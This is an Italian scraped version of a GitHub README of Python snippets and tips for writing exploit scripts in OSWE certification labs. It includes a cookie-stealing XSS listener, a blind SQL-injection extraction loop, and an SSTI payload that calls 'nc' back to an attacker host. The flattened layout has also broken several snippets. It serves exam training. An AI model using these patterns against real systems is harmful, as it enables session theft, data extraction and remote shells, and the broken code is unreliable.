rizemon/exploit-writing-for-osweTips on how to write exploit scripts (faster!)
Questa repository contiene un elenco di snippet e suggerimenti utili riguardanti la scrittura di script di exploit nei laboratori e nell'esame di certificazione OSWE.
Alcuni esempi qui riportati potrebbero andare contro alcune pratiche di programmazione, ma il nostro obiettivo finale è scrivere lo script di exploit in modo rapido e corretto.
La sezione Frammenti di codice è un ottimo punto di partenza se non hai esperienza nell'uso della libreria
requestso sei nuovo a Python. In caso contrario, puoi passare direttamente alla sezione Codice riutilizzabile o alla sezione Suggerimenti.
requests
params)data)json)files)headers)cookies)import requests
def main():
print("Hello World!")
if __name__ == __main__:
main()
# For sending HTTP requests
import requests
# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode
# For getting current time or for calculating time delays
from time import time
# For regular expressions
import re
# For running shell commands
import subprocess
# For multithreading
from concurrent.futures import ThreadPoolExecutor
# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
# For parsing HTTP cookies
from http import cookies
# For getting command-line arguments
import sys
requestsresp_obj = requests.get("https://github.com")
# GET method
requests.get("https://github.com")
# POST method
requests.post("https://github.com")
# PUT method
requests.put("https://github.com")
# PATCH method
requests.patch("https://github.com")
# DELETE method
requests.delete("https://github.com")
resp_obj = requests.get("https://github.com")
# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code
# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]
# Body as bytes
resp_obj.content
# Body as a string
resp_obj.text
# Body as a dictionary (if body is a JSON)
resp_obj.json()
params)params = {
"foo": "bar"
}
requests.get("https://github.com", params=params)
data)data = {
"foo": "bar"
}
requests.post("https://github.com", data=data)
json)data = {
"foo": "bar"
}
requests.post("https://github.com", json=data)
files)files = {
# (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
"uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}
requests.post("https://github.com", files=files)
headers)headers = {
"X-Forwarded-For": "127.0.0.1"
}
requests.get("https://github.com", headers=headers)
cookies)cookies = {
"PHPSESSID": "fakesession"
}
requests.get("https://github.com", cookies=cookies)
3XX (usando l'argomento allow_redirects)requests.post("https://github.com/login", allow_redirects=False)
verify)# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.get("https://github.com", verify=False)
proxies)proxies = {
"HTTP": "http://127.0.0.1:8080",
"HTTPS": "http://127.0.0.1:8080"
}
requests.get("https://github.com", proxies=proxies)
Sessionsession = requests.Session()
session.get("https://github.com")
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})
session = requests.Session()
session.headers["Authorization"] = "Basic 123"
tun0)http nella barra dei filtri.data = {
"foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request
print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)
LHOST = "10.0.0.1"
WEB_PORT = 8000
JS_PAYLOAD = "<script>alert(1)</script>"
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
# Uncomment this method to suppress HTTP logs
# def log_message(self, format, *args):
# return
def do_GET(self):
if self.path.endswith('/payload.js'):
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Content-Length", str(len(JS_PAYLOAD)))
self.end_headers()
self.wfile.write(JS_PAYLOAD.encode())
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
LHOST = "10.0.0.1"
WEB_PORT = 8000
requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie
def send_xss_payload():
pass
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
# Load stolen cookie into session
_, enc_cookie = self.path.split("/?cookie=", 1)
plain_cookie = urlsafe_b64decode(enc_cookie).decode()
session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]
xss_event.set() # Trigger the event
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
MAX_WORKERS = 20
HASH_LENGTH = 32
def exfiltrate_hash():
def boolean_sqli(arguments):
idx, ascii_val = arguments
# ...
# Perform SQLi and store boolean outcome into truth
# ...
return ascii_val, truth
result = ""
# Go through each character position
for idx in range(HASH_LENGTH):
# Use MAX_WORKERS threads to test possible ASCII values in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
# Go through each response and determine which ASCII value is correct
for ascii_val, truth in responses:
if truth:
result += chr(ascii_val)
break
return result
hash = exfiltrate_hash()
assertEsempio:
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"
# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"
Esempio:
[+] Parsed command-line arguments and got:
* BASE_URL: http://example.com
* LHOST: 127.0.0.1
* LPORT: 1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN
Esempio:
def register():
pass
def login():
pass
def rce():
pass
Session globale in modo che non debba essere passato esplicitamente a ogni chiamata di funzionesession = requests.Session()
def login():
session.post(...)
def rce():
session.post(...)
BASE_URL e costruire gli URL necessari a partire da essaBASE_URL = ""
session = requests.Session()
def login():
url = BASE_URL + "/login"
session.post(url, ...)
def rce():
url = BASE_URL + "/rce"
session.post(url, ...)
def main():
# Allow BASE_URL to be modified
global BASE_URL
BASE_URL = sys.argv[1]
...
proxies, imposta la variabile d'ambiente HTTP_PROXY / HTTPS_PROXY all'esecuzione$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
""" per creare la stringa del payload se contiene sia apici singoli (') che doppi apici (")Esempio:
payload = """This is a '. This is a "."""
Vedi Accelerare le SQL injection.
Soprattutto se sono stati necessari molti passaggi dispendiosi in termini di tempo per ottenere una sessione autenticata.
Esempio:
session = requests.Session()
def main():
# Skipping these for now...
# register()
# login()
# TODO: Delete this line after you are
# done developing and uncomment the above steps!
session.cookies["JSESSIONID"] = "ADMIN_COOKIE"
# Exploit authenticated features...
...
f"") o str.format se il payload contiene troppe graffe ({})Raddoppiare ogni graffa solo per eseguirne l'escape può essere problematico e soggetto a errori. Usa invece semplici segnaposto e fai un .replace()!
Esempio:
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
.replace("<LHOST>", LHOST)\
.replace("<LPORT>", LPORT)
assertSession globale in modo che non debba essere passato esplicitamente a ogni chiamata di funzioneBASE_URL e costruire gli URL necessari a partire da essaproxies, imposta la variabile d'ambiente HTTP_PROXY / HTTPS_PROXY all'esecuzione""" per creare la stringa del payload se contiene sia apici singoli (') che doppi apici (\")f"") o str.format se il payload contiene troppe graffe ({})